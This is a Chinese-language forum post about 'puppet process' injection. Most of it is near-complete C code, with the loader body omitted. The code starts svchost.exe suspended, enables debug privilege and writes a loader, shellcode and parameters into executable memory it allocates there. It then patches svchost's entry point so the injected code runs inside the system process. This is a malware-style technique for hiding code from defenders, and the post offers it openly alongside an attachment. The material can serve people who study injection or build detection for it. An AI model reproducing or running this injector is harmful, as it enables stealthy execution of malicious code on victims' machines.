欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]另类注入 傀儡进程测试

[原创]另类注入 傀儡进程测试

看 老V 另类远程线程模式 后想来研究研究 留言中提到的svchost傀儡进程的实现 后来就写了个Demo 能让一个PE文件完美地运行在svchost内部,svchost为傀儡进程 这也没什么技术含量 技术应该比较老了 但又怕完全放出代码会被利用 就只放核心代码。
先说说原理:
1、创建一个挂起的svchost进程
2、找svchost进程的OEP备用
3、在svchost中开辟几块空间 存放自己的PeLoader、PE文件的ShellCode、参数结构等
4、将PeLoader、ShellCode、参数结构写入svchost中
5、Hook svchost的OEP 改为PeLoader
6、恢复svchost进程执行PeLoader加载ShellCode并运行
代码中没有PeLoader函数,该函数的功能就是用病毒技术找Kernel32、导出表找一些常用函数、对
ShellCode解密、重定位、内存加载、Call OEP执行,类似PeLoader函数的论坛上很多代码。
代码:
typedef struct _DATA
{
        DWORD  key1;
        DWORD  key2;
        DWORD  CodeAddress1;
        DWORD  size1;
        DWORD  CodeAddress2;
        DWORD  size2;
}PDATA;
int  PeLoader(PDATA *a1)
{
/*
_asm{
                mov eax,fs:[30h]
                mov ffset, eax
        }
        Base = *(DWORD *)(*(DWORD *)(ffset + 12) + 28);
        while ( *(DWORD *)(Base + 28) != 0x1A0018 )
        {
                Base = *(DWORD *)Base;
                if ( !Base )
                        return 1;
        }
        Kernel32 = *(DWORD *)(Base + 8);   
        if ( !Kernel32 )
                return 1;
        /////////////////////////////  找函数  //////////////////
        EDerictor = *(DWORD *)(*(DWORD *)(Kernel32 + 60) + Kernel32 + 120);  //导出目录
        NumberOfNames = *(DWORD *)(EDerictor + Kernel32 + 24);   
        AddressOfFunctions = *(DWORD *)(Kernel32 + EDerictor + 28);
        AddressOfNameOrdinals = *(DWORD *)(Kernel32 + EDerictor + 36);
        AddressOfName =  *(DWORD *)(Kernel32 + EDerictor + 32);
*/
//...........................................................
return 0;
}
//通过进程句柄获取入口地址
int  GetProcessEntryPoit(void *Process)
{
        int pMem = 0, pAddress = 0;
        int EntryPoit = 0;
        MEMORY_BASIC_INFORMATION lpBuffer;
        ZeroMemory(&lpBuffer, sizeof(lpBuffer));
        int MaxMem, i, j;
        while(1)
        {
                VirtualQueryEx(Process,(LPCVOID)pAddress,&lpBuffer,sizeof(lpBuffer));
                if(lpBuffer.State==MEM_FREE && lpBuffer.RegionSize>0x08000000)
                        break;
                pMem=pAddress;
                MaxMem=pMem+(lpBuffer.RegionSize)/4096;
                for(i = pMem; i<MaxMem; i++)
                {
                        char Buffer[4096] = {0};
                        ReadProcessMemory(Process, (LPCVOID)pMem, Buffer, 4096, NULL);
                        WORD len = 0;
                        for(j=0; j<4096; j++)
                        {       
                                len = *((WORD *)&Buffer[j+60]);
                                if (*(WORD*)&Buffer[j] == 0x5A4D && *(WORD *)&Buffer[j+len] == 0x4550)
                                {
                                        EntryPoit =  (DWORD)pMem  + *(DWORD *)&Buffer[j+len+40];                       
                                        return EntryPoit;
                                }
                                pMem++;
                        }
                }
                pAddress+=lpBuffer.RegionSize;
        }
        return false;
}
int  InjectProcess(void *Process, void *hThread,  void *argc4, DWORD argc5)
{
        const void *PeLoaderAddress;
        DWORD Address1;
        DWORD Address2;
        DWORD HookAddress;
        DWORD ArgsAddress;
        DWORD CodeOneAddress;
        DWORD CodeTowAddress;
        DWORD flOldProtect;
        DWORD ExitCode;
        PDATA gData;      // Push 参数变量
        BYTE Hook[16] = {0};
        int EntryPoit = GetProcessEntryPoit(Process);   //通过进程句柄获取入口地址(也就是注入进程OEP 后面Hook)
        gData.key1 = 0x1234;     //测试参数 预留 给ShellCode解密参数
        gData.key2 = 0xffff;
        //在注入进程开辟数据空间
        HookAddress = (DWORD)VirtualAllocEx(Process, 0, 0x1000u, 0x1000u, 0x40u); //开辟一块空间存放 Loader 函数
        ArgsAddress = (DWORD)VirtualAllocEx(Process, 0, 0x18u, 0x1000u, 4u);   //存放 push 参数的空间
        CodeOneAddress = (DWORD)VirtualAllocEx(Process, 0, 500, 0x1000u, 0x40u);  //存放 测试数据 空间
        CodeTowAddress = (DWORD)VirtualAllocEx(Process, 0, sizeof(ShellCode), 0x1000u, 0x4u); // 存放 ShellCode 的空间
        //初始化Push参数
        gData.CodeAddress1 = CodeOneAddress;
        gData.size1 = 16;
        gData.CodeAddress2 = CodeTowAddress;   //ShellCode地址
        gData.size2 = sizeof(ShellCode);    //ShellCode大小
        //将Loader函数、ShellCode、参数 写入开辟的对应的空间
        if ( HookAddress && ArgsAddress && CodeOneAddress && CodeTowAddress )
        {
                PeLoaderAddress = PeLoader;   
                if ( *(BYTE *)PeLoader == 0xE9u )
                        PeLoaderAddress = (char *)PeLoader + *(DWORD *)((char *)PeLoader + 1) + 5;
                if ( WriteProcessMemory(Process, (void *)HookAddress, (void *)PeLoaderAddress, 4096u, &ExitCode) ) //写入Loader
                {
                        if ( WriteProcessMemory(Process, (void *)ArgsAddress, (void *)&gData, 24u, &ExitCode) ) //写入参数
                        {
                                if ( WriteProcessMemory(Process, (void *)CodeOneAddress, (void *)argc4, argc5, &ExitCode) ) //写入测试数据 后面在Loader中弹一个对话框 这时已经在注入进程中
                                {
                                        if ( WriteProcessMemory(Process, (void *)CodeTowAddress, ShellCode, sizeof(ShellCode), &ExitCode) )//写入ShellCode
                                        {
                                                //Hook 入口地址 使注入进程执行时从Loader函数开始
                                                Address2 = HookAddress - (DWORD)EntryPoit - 10;
                                                Address1 = ArgsAddress;
                                       
                                                Hook[0] = 0x68u;   
                                                memcpy(Hook+1, &Address1, 4);  //Push Address1
                                                Hook[5] = 0xE8;                //Call Address2
                                                memcpy(Hook+6, &Address2, 4);
                                                Hook[10] = 0xC3;
                                                if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, 0x40u, &flOldProtect) )
                                                {
                                                        if ( WriteProcessMemory(Process, (void *)EntryPoit, Hook, 16u, &ExitCode) ) //将Hook写入EntryPoit
                                                        {
                                                                if ( VirtualProtectEx(Process, (void *)EntryPoit, 0x10u, flOldProtect, &flOldProtect) )
                                                                {
                                                                        if ( ResumeThread(hThread) )  //恢复挂起的注入进程
                                                                        {
                                                                                   WaitForSingleObject(hThread, 0xFFFFFFFFu);
                                                                                        if ( GetExitCodeThread(hThread, &ExitCode) )
                                                                                        {
                                                                                                ExitCode = ExitCode;
                                                                                        }
                                                                                        else
                                                                                        {
                                                                                                ExitCode = GetLastError();
                                                                                        }
                                                                                        return ExitCode;
                                                                        }
                                                                }
                                                        }
                                                }
                                        }
                                }
                        }
                }
        }
        if ( HookAddress )
        {
                VirtualFreeEx(Process, (void *)HookAddress, 0, 0x8000u);
        }
        if ( ArgsAddress )
        {
                VirtualFreeEx(Process, (void *)ArgsAddress, 0, 0x8000u);
        }
        if ( CodeOneAddress )
        {
                VirtualFreeEx(Process, (void *)CodeOneAddress, 0, 0x8000u);
        }
        VirtualFreeEx(Process, (void *)CodeTowAddress, 0, 0x8000u) ;
        return 0;
}
int AddPrivilege(const char *Name)  //提升权限
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        LUID Luid;
        if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
        {
                return 1;
        }
        if (!LookupPrivilegeValue(NULL,Name,&Luid))
        {
                return 1;
        }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        tp.Privileges[0].Luid = Luid;
        if (!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
        {
                return 1;       
        }
        return 0;
}
int main()
{
        STARTUPINFO StartupInfo = {0};
        PROCESS_INFORMATION ProcessInformation = {0};
        StartupInfo.cb = sizeof(StartupInfo);
        StartupInfo.dwFlags = 1;
        StartupInfo.wShowWindow = 1;
        AddPrivilege(SE_DEBUG_NAME);
        char lpCommandLine[] = "C:\\windows\\system32\\svchost.exe";
        if ( !CreateProcess(0, lpCommandLine, 0, 0, 0, 0x14u, 0, 0, &StartupInfo, &ProcessInformation) )
        {
                return 0;
        }
        InjectProcess(ProcessInformation.hProcess,ProcessInformation.hThread, lpCommandLine, sizeof(lpCommandLine));
        return 0;
}
调试:
调试时当svchost被挂起并且找到svchost的OEP后可以用Windbg附加上bp HookAddress的地址下断点 当执行完后 并且Hook OEP正常执行就会断在PeLoader中 不知道怎么上图就不上调试图片了,断下后可以很方便的观察PeLoader的执行情况、调试和修改。

上传的附件 傀儡进程测试.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功